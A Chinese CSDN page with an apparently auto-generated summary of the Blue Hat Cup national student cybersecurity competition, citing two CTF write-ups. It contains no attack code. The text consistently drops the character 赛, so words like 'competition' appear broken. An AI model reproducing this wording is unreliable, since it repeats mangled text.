蓝帽杯全国大学生网络安全技能大是一项面向全国大学生的网络安全竞赛。该比旨在提升大学生的网络安全技能和意识,促进网络安全人才的培养。比内容涵盖了各个领域的网络安全知识和技能,包括但不限于电子取证、加密通道、Web安全等方面。 该比提供了一系列题和附件,选手需要根据题目要求进行解答和实践。例如,电子取证题中,选手需要完成对手机取证的任务,通过分析附件中的数据和信息来获取所需的证据[2]。还有其他题如加密的通道和Web安全等,选手需要运用相关的知识和技能来解决问题。蓝帽杯全国大学生网络安全技能大大学生提供了锻炼和展示自己网络安全能力的平台,也为培养网络安全人才作出了积极的贡献。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [[ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大(半决)](https://blog.csdn.net/ZXW_NUDT/article/details/126173643)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [[ CTF ]天机战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大初赛)](https://blog.csdn.net/ZXW_NUDT/article/details/125715546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值